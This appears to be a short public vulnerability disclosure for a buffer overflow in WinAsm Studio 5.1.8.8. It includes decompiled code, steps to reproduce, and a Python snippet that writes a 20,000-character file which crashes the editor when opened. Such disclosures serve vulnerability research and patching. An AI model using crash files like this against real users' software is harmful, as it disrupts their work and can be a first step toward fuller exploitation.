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# Exploit: WinAsm Studio 5.1.8.8 BOF.
# Date: 12/6/2015
# Exploit Author: Un_N0n
# Vendor: WinAsm
# Software Link: http://www.winasm.net/winasm-studio-updates.html
# Version: 5.1.8.8
# Tested on: Windows 7 x64(64bit)
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[Info]
Code:
rc.right = 0;
rc.bottom = 0;
DrawTextExA(
hdc,
L"I \t\u6e69\u6c63\u6475e\u6e69\.................\uf64)", <--- XXXtremely big string to draw, thus crashes.
1,
&rc,
0x2CE0u,
&dtp);
*(_DWORD *)(a1 + 420) = rc.right;
[How to?]
1 - Open up WinAsm.exe.
2 - GoTo Files -> Open Files.
3 - Browser the crash.txt in it.
~ Software will Crash.
[crash.txt?]
file = open('crash.txt','w')
file.write("A"*20000) #Crash.txt Contains 20000s As
file.close()
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